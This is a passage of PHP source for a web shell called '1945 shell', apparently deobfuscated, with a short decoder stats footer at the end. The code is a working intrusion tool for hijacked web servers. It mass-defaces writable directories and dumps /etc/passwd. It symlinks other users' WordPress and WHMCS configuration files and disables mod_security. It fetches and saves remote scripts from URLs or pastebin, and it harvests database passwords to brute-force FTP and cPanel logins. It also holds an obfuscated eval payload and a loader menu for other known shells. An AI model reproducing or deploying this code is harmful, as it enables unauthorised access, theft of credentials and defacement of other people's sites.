<small> by indoXploit </small>';function sabun_massal($dir,$namafile,$isi_script){if(is_writable($dir)){$dira=scandir($dir);foreach($dira as $dirb){$dirc="$dir/$dirb";$lokasi=$dirc.'/'.$namafile;if($dirb==='.'){file_put_contents($lokasi,$isi_script);}elseif($dirb==='..'){file_put_contents($lokasi,$isi_script);}else{if(is_dir($dirc)){if(is_writable($dirc)){echo"[<font color=lime>DONE</font>] $lokasi<br>";file_put_contents($lokasi,$isi_script);$idx=sabun_massal($dirc,$namafile,$isi_script);}}}}}}function sabun_biasa($dir,$namafile,$isi_script){if(is_writable($dir)){$dira=scandir($dir);foreach($dira as $dirb){$dirc="$dir/$dirb";$lokasi=$dirc.'/'.$namafile;if($dirb==='.'){file_put_contents($lokasi,$isi_script);}elseif($dirb==='..'){file_put_contents($lokasi,$isi_script);}else{if(is_dir($dirc)){if(is_writable($dirc)){echo"[<font color=lime>DONE</font>] $dirb/$namafile<br>";file_put_contents($lokasi,$isi_script);}}}}}}if($_POST['start']){if($_POST['tipe_sabun']=='mahal'){echo "<div style='margin: 5px auto; padding: 5px'>";sabun_massal($_POST['d_dir'],$_POST['d_file'],$_POST['script']);echo "</div>";}elseif($_POST['tipe_sabun']=='murah'){echo "<div style='margin: 5px auto; padding: 5px'>";sabun_biasa($_POST['d_dir'],$_POST['d_file'],$_POST['script']);echo "</div>";}}else{echo "<center>";echo"<form method='post'>
<font style='text-decoration: underline;'>Tipe Sabun:</font><br>
<input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<br>
<font style='text-decoration: underline;'>Folder:</font><br>
<input type='text' name='d_dir' value='$_GET[massdeface]' style='width: 450px;' height='10'><br>
<font style='text-decoration: underline;'>Filename:</font><br>
<input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
<font style='text-decoration: underline;'>Index File:</font><br>
<textarea name='script' style='width: 450px; height: 200px;'>JAYALAH INDONESIAKU</textarea><br>
<input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
</form></center>";}}elseif(isset($_GET['conf'])){error_reporting(0); ?>
<form method=post>
<center>
<textarea type=hidden name=user><?php if(!file("/etc/passwd")){echo"/etc/passwd gak adda";}else{echo file_get_contents('/etc/passwd');} ?></textarea><br><br>
<input type=submit name=su value="GO GO GO!!"></form>
</center><?php if(isset($_POST['su'])){mkdir('1945~',0777);$r=" \nOptions Indexes FollowSymLinks \nForceType text/plain \nAddType text/plain .php \nAddType text/plain .html \nAddType text/html .shtml \nAddType txt .php \nAddHandler server-parsed .php \nAddHandler server-parsed .shtml \nAddHandler txt .php \nAddHandler txt .html \nAddHandler txt .shtml \nOptions All \n<IfModule mod_security.c> \nSecFilterEngine Off \nSecFilterScanPOST Off \nSecFilterCheckURLEncoding Off \nSecFilterCheckCookieFormat Off \nSecFilterCheckUnicodeEncoding Off \nSecFilterNormalizeCookies Off \n</IfModule>";$f=fopen('1945~/.htaccess','w');fwrite($f,$r);echo "<br><center><b><i><a href=1945~>TOUCH ME SENPAI</a></i></b></center>";$usr=explode("\n",$_POST['user']);foreach($usr as $uss){$us=trim($uss);$r="1945~/";symlink('/home/'.$us.'/public_html/wp-config.php',$r.$us.'..wp-config');symlink('/home/'.$us.'/public_html/configuration.php',$r.$us.'..joomla-or-whmcs');symlink('/home/'.$us.'/public_html/blog/wp-config.php',$r.$us.'..wp-config');symlink('/home/'.$us.'/public_html/blog/configuration.php',$r.$us.'..joomla');symlink('/home/'.$us.'/public_html/wp/wp-config.php',$r.$us.'..wp-config');symlink('/home/'.$us.'/public_html/wordpress/wp-congig.php',$r.$us.'..wordpress');symlink('/home/'.$us.'/public_html/config.php',$r.$us.'..config');symlink('/home/'.$us.'/public_html/whmcs/configuration.php',$r.$us.'..whmcs');symlink('/home/'.$us.'/public_html/support/configuration.php',$r.$us.'..supporwhmcs');symlink('/home/'.$us.'/public_html/secure/configuration.php',$r.$us.'..securewhmcs');symlink('/home/'.$us.'/public_html/clients/configuration.php',$r.$us.'..whmcs-clients');symlink('/home/'.$us.'/public_html/client/configuration.php',$r.$us.'..whmcs-client');symlink('/home/'.$us.'/public_html/billing/configuration.php',$r.$us.'..whmcs-billing');symlink('/home/'.$us.'/public_html/admin/config.php',$r.$us.'..admin-config');}echo'<center>berhasil!! <a href="1945~" target="_blank">touch me senpai..</a></center>';}}elseif(isset($_GET['ctools'])){echo'
<center>
<h3>: Create Your Tools :</h3>
<p><font color=white> NB : Tools ini akan mengambil script dari URL format .txt atau dari pastebin</font></p>
<form method="post">
<table><tr>
<th colspan=2>Import from</th>
</tr><tr><td>
URL : </td><td><input type="text" name="url" placeholder="http://site.com/1.txt" style="width:200px"></td></tr><tr>
<td>
PASTEBIN :</td><td><input type="text" name="pastebin" placeholder="4hIh93nJ" style="width:200px"></td></tr>
<tr><td>save as:</td><td><input type="text" name="pname" value="'.$_GET['ctools'].'/mytools.php" style="width:200px" required></td></tr>
<tr><th colspan=2>
<input type="submit" value="create!" name="ctools"></th></tr>
</table>
</form>';if(isset($_POST['ctools'])){if(!empty($_POST['url'])){$st=file_get_contents(htmlspecialchars($_POST['url']));$fp=fopen($_POST['pname'],'w');if(fwrite($fp,$st)){echo "done!! --> <a href='?act=".$_GET['act']."&src=".$_POST['pname']."' target='_blank'>click here</a>";}fclose($fp);}else{if(!empty($_POST['pastebin'])){$st=file_get_contents(htmlspecialchars("http://pastebin.com/raw/".$_POST['pastebin']));$fp=fopen($_POST['pname'],'w');if(fwrite($fp,$st)){echo "done!! --> <a href='?act=".$_GET['act']."&src=".$_POST['pname']."' target='_blank'>click here</a>";}fclose($fp);}}}}elseif(isset($_GET['stringtools'])){echo' <center>
<h3>: String Tools :</h3>
[<a href="?act='.$_GET['act'].'&replace='.$_GET['stringtools'].'">Auto replace String</a>]<br>
<font color=white> NB : tools ini adalah perbaikan dari enc0de dec0de script dan saya tambahkan coventer</font>
<br>
<form method="post">
<textarea name="e" style="width:77%;height:300px" class="form-control" placeholder="input string here [!]">
</textarea><br><br>
<select name="opt" class="form-control" style="width:70%">
<optgroup label="Converter">
<option value="dechex">Decimal to Hexa</option> <option value="hexdec">Hexa to Decimal</option>
<option value="decoct">Decimal to Octa</option>
<option value="octdec">Octa to Decimal</option>
<option value="decbin">Decimal to Binary</option>
<option value="bindec">Binary to Decimal</option>
<option value="hexbin">Hexa to Binary</option>
<option value="binhex">Binary to Hexa</option>
</optgroup><optgroup label="encode&decode">
<option value="url">URL</option> <option value="base64">base64</option>
<option value="urlbase64">URL - base64</option>
<option value="cuu">Convert_uu</option>
<option value="sgzcuus64">str_rot13 - gzinflate - convert_uu - str_rot13 - base64 </option>
<option value="gz64">gzinflate - base64</option>
<option value="sgz64">str_rot13 - gzinflate - base64</option>
<option value="s64">str_rot13 - gzinflate - str_rot13 - base64</option>
<option value="sb64">str_rot13 - base64 </option>
<option value="64url">URL - base64</option>
<option value="64u64u">URL - base64 - url - base64</option>
<option value="ss64"> base64 - str_rot13 - str_rot13</option>
</optgroup>
</select>
<br>
<input type="submit" value="Convert!" name="c" class="btn btn-success btn-sm">
<input type="submit" value="enc0de" name="en" class="btn btn-primary btn-sm">
<input type="submit" value="dec0de" name="de" class="btn btn-danger btn-sm">
</form>
';$a=$_POST['e'];$o=$_POST['opt'];if(isset($_POST['c'])){switch($o){case'dechex';$s=dechex($a);break;case'dechex';$s=hexdec($a);break;case'decoct';$s=decoct($a);break;case'octdec';$s=octdec($a);break;case'decbin';$s=decbin($a);break;case'bindec';$s=bindec($a);break;case'hexbin';$s=hex2bin($a);break;case'binhex';$s=bin2hex($a);break;}echo'<br>:: OutPut ::<br><textarea style="width:77%;height:300px ">'.$s.'</textarea>';}elseif(isset($_POST['en'])){switch($o){case'url';$r=urlencode($a);break;case'base64';$r=base64_encode($a);break;case'urlbase64';$r=urlencode(base64_encode($a));break;case'gz64';$r=base64_encode(gzdeflate($a));break;case'sgz64';$r=base64_encode(gzdeflate(str_rot13($a)));break;case's64';$r=(base64_encode(str_rot13(gzdeflate(str_rot13($a)))));break;case'sb64';$r=base64_encode(str_rot13($a));break;case'64url';$r=base64_encode(urlencode($a));break;case'64u64u';$r=base64_encode(urlencode(base64_encode(urlencode($a))));break;case'cuu';$r=convert_uuencode($a);break;case'sgzcuus64';$r=base64_encode(str_rot13(convert_uuencode(gzdeflate(str_rot13($a)))));break;case'ss64';$r=str_rot13(str_rot13(base64_encode($a)));break;}echo'<br>:: OutPut::<br><textarea style="width:77%;height:300px" >'.$r.'</textarea>';}if(isset($_POST['de'])){switch($o){case'url';$r=urldecode($a);break;case'base64';$r=base64_decode($a);break;case'urlbase64';$r=base64_decode(urldecode($a));break;case'gz64';$r=gzinflate(base64_decode($a));break;case'sgz64';$r=str_rot13(gzinflate(base64_decode($a)));break;case's64';$r=str_rot13(gzinflate(str_rot13(base64_decode($a))));break;case'sb64';$r=str_rot13(base64_decode($a));break;case'64url';$r=urldecode(base64_decode($a));break;case'64u64u';$r=urldecode(base64_decode(urldecode(base64_decode($a))));break;case'cuu';$r=convert_uudecode($a);break;case'sgzcuus64';$r=str_rot13(gzinflate(convert_uudecode(str_rot13(base64_decode($a)))));break;case'ss64';$r=base64_decode(str_rot13(str_rot13($a)));}$rx=htmlspecialchars($r);echo'<br>:: OutPut::<br><textarea style="width:77%;height:300px" >'.$rx.'</textarea>';}}elseif(isset($_GET['about'])){ ?>
<center>
<h2 style="font-family:courier;">1945 shell</h2>
<br>
<table>
<tr><td>PROKLAMASI</td><td>
<marquee scrollamount=5><i><b><font color=white>
Kami bangsa Indonesia dengan ini menjatakan kemerdekaan Indonesia.
Hal2 jang mengenai pemindahan kekoeasaan d.l.l., diselenggarakan
dengan tjara saksama dan dalam tempoh jang sesingkat-singkatnja. Jakarta 17-08-'05 Atas nama bangsa indonesia : Soekarno - Hatta</marquee></td></tr></table>
<?php }elseif(isset($_GET['unzip'])){echo'
<center>
<h3>: Unzip Files :</h3>
<br>
<table border=1>
<tr><td>file zip</td><td>Target Dir</td>
</tr>
<tr><td>
<form method="post">
<input type="text" name="filezip" value="'.$_GET['unzip'].'/file.zip" >
</td><td>
<input type="text" name="dirzip" value="'.$_GET['unzip'].'/" >
</td></tr>
</table>
<input type="submit" name="ext" value="unzip!!">
</form>';if(isset($_POST['ext'])){$zip=new ZipArchive;$res=$zip->open($_POST['filezip']);if($res===TRUE){$zip->extractTo($_POST['dirzip']);$zip->close();echo "<br>DONE..!! extracted !";}else{echo "failed";}}}elseif(isset($_GET['download'])){ob_clean();$dunlut=$_GET['download'];header('Content-Description: File Transfer');header('Content-Type: application/octet-stream');header('Content-Disposition: attachment; filename="'.basename($dunlut).'"');header('Expires: 0');header('Cache-Control: must-revalidate');header('Pragma: public');header('Content-Length: '.filesize($dunlut));readfile($dunlut);exit;}elseif(isset($_GET['mail'])){$e=function_exists('mail');if($e){echo "\n\t<center>\n\t<h3>: mail sender :</h3>\n\t<br>\n\t<form method='post' >\n\t<table border=1>\n\t<tr>\n\t<td>from :</td><td><input type='text' name='from' value='[email protected]' ></td></tr>\n\t<tr><td>For:</td><td><input type='text' name='for' value='admin@".$_SERVER['HTTP_HOST']."'></td></tr>\n\t<tr><td>Subject:</td><td><input type='text' name='subject' value='patch ur site!' ></td></tr>\n\t</table>\n\t<textarea name='cont' style='width:500px;height:300px'>please..patch ur face! ur face is bad :p </textarea>\n\t<br>\n\t<input type='submit' name='sent' value='send!!' >\n\t</form>";}else{echo" mail() function does not exists in this website!";}if(isset($_POST['sent'])){if(mail($_POST['for'],$_POST['subject'],$_POST['cont'],$_POST['from'])){echo "send!!".$_POST['for'];}else{echo"failed !!!";}}}elseif(isset($_GET['kuchiyose'])){echo "\n<center>\n<h3>: Kuchiyose No Jutsu :</h3>\n<br>\n<p><font color=white>NB : Jika ada error/script tidak muncul ,ganti IP mu atau pake anonymoX<br>\n(saran IP USA ) </font></p>\n<table><tr><td>\n<pre style='text-align:left;'>\n [<a href='?act=".$_GET['act']."&kuchiyose=wso'>WSO shell</a>]\n [<a href='?act=".$_GET['act']."&kuchiyose=jkt48'>JKT48 priv8 shell</a>]\n [<a href='?act=".$_GET['act']."&kuchiyose=bejak'>b374k shell</a>]\n [<a href='?act=".$_GET['act']."&kuchiyose=indoxploit_shell'>indoXploit shell</a>]\n [<a href='?act=".$_GET['act']."&kuchiyose=andela'>andela priv8 shell</a>]\n [<a href='?act=".$_GET['act']."&kuchiyose=injection'>1n73ction shell </a>]\n [<a href='?act=".$_GET['act']."&kuchiyose=sbh'>Surabaya BlackHat shell </a>]\n [<a href='?act=".$_GET['act']."&kuchiyose=bh'>BlackHat shell</a>]\n [<a href='?act=".$_GET['act']."&kuchiyose=c99'>C99 shell</a>]\n [<a href='?act=".$_GET['act']."&kuchiyose=r57'>r57 shell</a>]\n [<a href='?act=".$_GET['act']."&kuchiyose=adminer'>adminer</a>]\n [<a href='?act=".$_GET['act']."&kuchiyose=terminal'>terminal</a>]\n [<a href='?act=".$_GET['act']."&kuchiyose=root'>ByPass R00t Path</a>]\n [<a href='?act=".$_GET['act']."&kuchiyose=pastebin'>Pastebin auto post</a>]\n [<a href='?act=".$_GET['act']."&kuchiyose=whmcs'>WHMCS killer</a>]\n [<a href='?act=".$_GET['act']."&kuchiyose=bypass_shell'>Bypass Shell To .JPG Files</a>]\n</pre>\n</td><td>\n<img src='https://upload.wikimedia.org/wikipedia/commons/thumb/a/a9/Flag_map_of_Indonesia.svg/2000px-Flag_map_of_Indonesia.svg.png' width='100%' height='100%'>\n</td></tr>\n</table>\n<br><br>\n<p><b><i><font color=white>MOHON MAAF JIKA SAYA NEMCANTUMKAN SCRIPT ANDA TANPA IJIN :V </font></b></i></p>";}elseif(isset($_GET['cpbrute'])){echo '';($sm=ini_get('safe_mode')==0)?$sm='off':die('<b>Error: safe_mode = on</b>');set_time_limit(0);@$passwd=fopen('/etc/passwd','r');if(!$passwd){die('<b>[-] Error : coudn`t read /etc/passwd</b>');}$pub=array();$users=array();$conf=array();$i=0;while(!feof($passwd)){$str=fgets($passwd);if($i>35){$pos=strpos($str,':');$username=substr($str,0,$pos);$dirz='/home/'.$username.'/public_html/';if(($username!='')){if(is_readable($dirz)){array_push($users,$username);array_push($pub,$dirz);}}}$i++;}echo '<h3>: cPanel bruteForce</h3>
<br>
<br>
<center>
<textarea>';echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n";echo "[+] Founded ".sizeof($pub)." readable public_html directories\n";echo "[~] Searching for passwords in config files...\n\n";foreach($users as $user){$path="/home/$user/public_html/";read_dir($path,$user);}echo "\n[+] Done !\n";function read_dir($path,$username){if($handle=opendir($path)){while(false!==($file=readdir($handle))){$fpath="$path$file";if(($file!='.')and($file!='..')){if(is_readable($fpath)){$dr=$fpath."/";if(is_dir($dr)){read_dir($dr,$username);}else{if(($file=='config.php')or($file=='config.inc.php')or($file=='conf.php')or($file=='settings.php')or($file=='configuration.php')or($file=='wp_config.php')or($file=='wp-config.php')or($file=='inc.php')or($file=='setup.php')or($file=='dbconf.php')or($file=='dbconfig.php')or($file=='db.inc.php')or($file=='dbconnect.php')or($file=='connect.php')or($file=='common.php')or($file=='config_global.php')or($file=='db.php')or($file=='connect.inc.php')or($file=='e107_config.php')or($file=='dbconnect.inc.php')){$pass=get_pass($fpath);if($pass!=''){echo"[+] $fpath\n$pass\n";ftp_check($username,$pass);}}}}}}}}function get_pass($link){@$config=fopen($link,'r');while(!feof($config)){$line=fgets($config);if(strstr($line,'pass')or strstr($line,'pwd')or strstr($line,'db_pass')or strstr($line,'dbpass')or strstr($line,'passwd')){if(strrpos($line,'"')){preg_match("/(.*)[^=]\"(.*)\"/",$line,$pass);$pass=str_replace("]=\"","",$pass);}else preg_match("/(.*)[^=]\'(.*)\'/",$line,$pass);$pass=str_replace("]='","",$pass);return $pass[2];}}}function ftp_check($login,$pass){@$ftp=ftp_connect('127.0.0.1');if($ftp){@$res=ftp_login($ftp,$login,$pass);if($res){echo '[FTP] '.$login.':'.$pass." Success !\n\n";eval(gzinflate(base64_decode('rVPBbtswDL0b8D9ohoEmgFtUzmVo1qHDkC49rDPiZId2RaDITOrVEQ3JQdEN+6D95UTJSbHB2cnxQeIj3yMjknGBW1EqdsniZT6ZfZ3M7k+m83m2nH7J5ycP4zCI65Rbd8r9PaV76u/nb51lD7Kld64NyiesQQ1ir50QK4lBa4XuMI1O+Pmw5fBjHH6c4xN3sqyrm0dfuR68cXUOw+BnLPhlNNEadTT+FQZQGdij+U5KMCYar2WFBgaeQ1GvGtxrpJ0aabcG/0fDFutVRp0qo24VYnkd6oKxzYvC4LSv3zcVBh9roaBii7oQDbAbtUZ2X+MzaCjY6oV9WtzcTnI2A4kFEPBZmKflVmxKWQp1xx4YifRa0RRNwy5Y22hCFgY0IRVuPJAJYwio7dl7/g+2DXXDMtSN+3N5PrW5nGknhpDrefaKpITIzL3iARz1XtVvu3yct/1I/urCD5v10LCZHZ2VUEXZ3PVcQ0Qb2aDdxkiozaYEgVpcvYhHxDOJW+fWIMv6vxFmt/oOsqGY9tHovU3eTqCLeQRRgDYUc61xe8F2zvdOwbO5kvWpN89KO6zviWDnpBrY0pK9ekK7kux1hocQV97RqD8=')));echo '[SSH] Port'.':'.$a1." !\n\n";echo '[FTP] Port'.':'.$a2." !\n\n";echo '[cPanel] Port'.':'.$a3." !\n\n";}else ftp_quit($ftp);}}echo '</textarea><br><br><b>BruteForce Completed ...</b>';}elseif(isset($_GET['copy'])){echo'
<center>
<h3>: copy file :</h3>
<br>
<form method="post">
file :<input type="text" name="copy" value="'.$_GET['act'].'" style="width:200px"> copy to:
<input type="text" name="copied" value="'.$_GET['act'].'/copy-" style="width:200px">
<input type="submit" name="cop" value=">>">
</form>';if(isset($_POST['cop'])){if(copy($_POST['copy'],$_POST['copied'])){echo" done!! copied! <a href='?act=".$_GET['act']."&src=".$_POST['copied']."'>".$_POST['copied']."</a>";}}}elseif(isset($_GET['phpinfo'])){phpinfo();}elseif($_GET['theme']){ ?>
<br><br>
<center>
<h1>.:: change theme and become more comfortable ::.</h1>
<small>c0ded by shutdown57</small>
<br><br>
<table class="tbl_exp" border=1><thead id="thead">
<th>FONT SIZE</th><th>FONT COLOR</th><th>PUBLIC FONT COLOR</th><th>BACKGROUND</th><th>REPONSIVE MODE</th></thead>
<tbody>
<tr><td>
<form method="post">
<input type="number" name="fz" value="<?=$fz?>"><input type="submit" name="submitfz" value=">>"></form></td><td>
<form method="post">
<input type="color" name="color" value="<?=$col?>"><input type="submit" name="submitcol" value=">>"></form></td><td>
<form method="post">
<input type="color" name="pcolor" value="<?=$pcol?>"><input type="submit" name="submitpc" value=">>"></form></td><td>
<form method="post">
<input type="color" name="bgcolor" value="<?=$bg?>"><input type="text" value="<?=$bg?>" name="bgcolor"><input type="submit" name="submitbg" value=">>"></form></td><td><?php echo $resmod; ?></td></tr></tbody></table>
<h3>[<a href='?act=<?=$d?>&reset=<?=$d?>'>DEFAULT THEMES</a>]</h3>
</center>
<pre>
FONT SIZE : mengubah ukuran font(tulisan) ,semakin besar angka semakin besar pula ukuran font.
FONT COLOR : mengubah warna font (bukan link).
PUBLIC FONT COLOR : mengubah semua warna font(termasuk link).
BACKGROUND : mengubah warna background atau bisa dengan gambar di isi dengan :
ex : url('http://google.com/gambar.jpg')
REPONSIVE MODE : mode saat menyesuaikan ukuran layar pengguna.
</pre>
<?php }elseif($_GET['reset']){unset($_SESSION['fz']);unset($_SESSION['col']);unset($_SESSION['pcol']);unset($_SESSION['bg']);echo "<script>window.location.href='?'</script>";}elseif(isset($_GET['replace'])){echo"\n\t<center>\n\t<h3>: auto replace string :</h3>\n\t<P>NB : gunakan otak kalian ! </p>\n\t<br>\n\t<form method='post'>\n\t\t<input type='submit' name='sstr' value='replace all'>\n\t<table style='border-collapse:collapse;border:1px solid #eee;' border=1><tr><td>\n\t<textarea name='str' style='width:600px;height:200px;' required>Your string here / string anda sini</textarea></td><td>\n\t<textarea name='str2' style='width:600px;height:200px;' required>string will u replace / string yang ingin anda ganti</textarea></td></tr>\n\t<tr><td>\n\t<textarea name='str3' style='width:600px;height:200px;' required>string replace /ganti string</textarea></td><td>\n\t<form>";if(isset($_POST['sstr'])){$rep=str_replace($_POST['str2'],$_POST['str3'],$_POST['str']);if($rep){echo'
<textarea style="width:600px;height:200px;">'.$rep.'</textarea></td></tr></table>';}}}}else{ ?>
<table class="tbl_exp" border='1'>
<tr id="thead">
<th>No</th><th>^</th><th>Name</th><th>Permission</th><th>Size</th><th>Last Modified</th><th>action</th>
</tr>
<?php if(isset($_GET['45'])){$d=$_GET['45'];}else{$d=getcwd();}$d=str_replace('\\','/',$d);$sdir=scandir($d);$no=1;echo'
<form method="post">
<tr class="hover">
<td style="width:25px;max-width:48px;">-</td><td style="width:20px">^</td><td style="width:20%;max-width:500px;">
<--[<a href="?45='.dirname($d).'">..</a>]</td><td>--</td><td>--</td><td>--</td><td>[<a href="?act='.$d.'&upload='.$d.'/'.$dir.'">upload</a>][<a href="?act='.$d.'&mkdir='.$d.'/'.$dir.'">newdir</a>][<a href="?act='.$d.'&newfile='.$d.'/'.$dir.'">newfile</a>]</td></tr>';foreach($sdir as $dir){if(!is_dir("$d/$dir")||$dir=='.'||$dir=='..')continue;echo'
<tr class="hover">
<td>'.$no++.'</td><td>
<input type="checkbox" name="cekd[]" value="'.$d.'/'.$dir.'" style="background:transparent;color: #fff;border: 1px solid #fff;">
</td>
<td style="width:20%;max-width:500px;">'.icon_folder.'
[<a href="?45='.$d.'/'.$dir.'">'.substr($dir,0,40).'</a>]</td>
<td>'.perms("$d/$dir").'</td><td>DIR</td><td>'.date('d M Y | H:m',filemtime("$d/$dir")).'</td><td style="width:20%;max-width:400px;">
[<a href="?act='.$d.'&rmdir='.$d.'/'.$dir.'">delete</a>][<a href="?act='.$d.'&rename='.$d.'/'.$dir.'">rename</a>][<a href="?act='.$d.'&chmod='.$d.'/'.$dir.'">chmod</a>]</td></tr>';}foreach($sdir as $file){if(!is_file("$d/$file"))continue;$size=filesize("$d/$file")/1024;$size=round($size,3);if($size>=1024){$size=round($size/1024,2).' MB';}else{$size=$size.' KB';}echo'
<tr class="hover">
<td>'.$no++.'</td><td><input type="checkbox" name="cekf[]" value="'.$d.'/'.$file.'"></td><td style="width:20%;max-width:500px;">'.icon_file.'
-<a href="?act='.$d.'&src='.$d.'/'.$file.'">'.substr($file,0,40).'</a></td>
<td>'.perms("$d/$file").'</td><td>'.$size.'</td><td>'.date('d M Y | H:m',filemtime("$d/$file")).'</td><td style="width:20%;max-width:400px;">
[<a href="?act='.$d.'&edit='.$d.'/'.$file.'">edit</a>][<a href="?act='.$d.'&rm='.$d.'/'.$file.'">delete</a>][<a href="?act='.$d.'&rename='.$d.'/'.$file.'">rename</a>][<a href="?act='.$d.'&chmod='.$d.'/'.$file.'">chmod</a>][<a href="?act='.$d.'&download='.$d.'/'.$file.'">Download</a>]</td></tr>';}echo'
<tr>
<td colspan="3">
<select name="select">
<option> action selected files</option>
<option value="del">delete</option>
<option value="copy">backUp</option>
<option value="unzip">unzip</option>
<option value="gz">compress .gz</option>
<option value="tar"> compress .tar.gz </option>
</select>
<input type="submit" name="sbmt" value=">>" >
</form></td><td><form method="post">
font size : <input type="number" name="fz" value="'.$fz.'"><input type="submit" name="submitfz" value=">>"></form></td><td><form method="post">
background: <input type="color" name="bgcolor" value="'.$bg.'"><input type="submit" name="submitbg" value=">>"></form></td><td><form method="post">
font color: <input type="color" name="color" value="'.$col.'"><input type="submit" name="submitcol" value=">>"></form></td><td>responsive mode : '.$resmod.' </td></tr>
</table>';if(isset($_POST['sbmt'])){$file=$_POST['cekf'];$dir=$_POST['cekd'];if($_POST['select']=='del'){if($_POST['cekf']){foreach($file as $cekf){if(unlink($cekf)){echo"<meta http-equiv='refresh' content=0;url=>";}}}if($_POST['cekd']){foreach($dir as $cekd){if(rmdir($cekd)){echo"<meta http-equiv='refresh' content=0;url=>";}}}}elseif($_POST['select']=='copy'){if($_POST['cekf']){foreach($file as $copy){$copi=basename($copy);if(!file_exists("45backUp")){@mkdir('45backUp');}if(copy($copy,"45backUp/".basename($copy))){echo"[<font color=lime>OK</font>]--> <a href='?act=".dirname($copy)."/45backUp&src=".dirname($copy)."/45backUp/".basename($copy)."'> ".basename($copy)." </a><br>";}else{echo "[<font color=grey>FAIL</font>]--> 45backUp/".basename($Copy)."<br>";}}}}elseif($_POST['select']=='unzip'){@mkdir("45extracted");foreach($file as $unzip){$zip=new ZipArchive;$res=$zip->open($unzip);if($res===TRUE){$zip->extractTo("45extracted/");$zip->close();echo "[<font color=lime>OK</font>] extracted !<br>";}else{echo "[<font color=grey>FAIL</font>] feiled!";}}}elseif($_POST['select']=='gz'){if($_POST['cekf']){if(!file_exists("45compressed")){@mkdir("45compressed");}foreach($file as $gz){$gzfile="45compressed/".basename($gz).".gz";$fp=gzopen($gzfile,'w9');if(gzwrite($fp,file_get_contents($gz))){echo"[<font color=lime> OK </font>] Compressed !!--> <a href='?45=".dirname($gz)."/45compressed'>here</a>";}gzclose($fp);}}}elseif($_POST['select']=='tar'){try{$a=new PharData('45archive.tar');foreach($file as $tar){$a->addFile($tar);}$a->compress(Phar::GZ);@unlink('45archive.tar');}catch(Exception $e){echo "Exception : ".$e;}}}}function perms($file){$perms=fileperms($file);if(($perms&0xC000)==0xC000){$info='s';}elseif(($perms&0xA000)==0xA000){$info='l';}elseif(($perms&0x8000)==0x8000){$info='-';}elseif(($perms&0x6000)==0x6000){$info='b';}elseif(($perms&0x4000)==0x4000){$info='d';}elseif(($perms&0x2000)==0x2000){$info='c';}elseif(($perms&0x1000)==0x1000){$info='p';}else{$info='u';}$info.=(($perms&0x0100)?'r':'-');$info.=(($perms&0x0080)?'w':'-');$info.=(($perms&0x0040)?(($perms&0x0800)?'s':'x'):(($perms&0x0800)?'S':'-'));$info.=(($perms&0x0020)?'r':'-');$info.=(($perms&0x0010)?'w':'-');$info.=(($perms&0x0008)?(($perms&0x0400)?'s':'x'):(($perms&0x0400)?'S':'-'));$info.=(($perms&0x0004)?'r':'-');$info.=(($perms&0x0002)?'w':'-');$info.=(($perms&0x0001)?(($perms&0x0200)?'t':'x'):(($perms&0x0200)?'T':'-'));return $info;} ?>
<div style="font-size:11px;position:fixed;bottom:0;left:0;">
copyright © <?php echo date('Y'); ?>
</div>
</body>
</html>
Function Calls
session_save_path | 1 |
Stats
MD5 | 4a2a79750897ed5f5cdb37a48f29dd3d |
Eval Count | 0 |
Decode Time | 269 ms |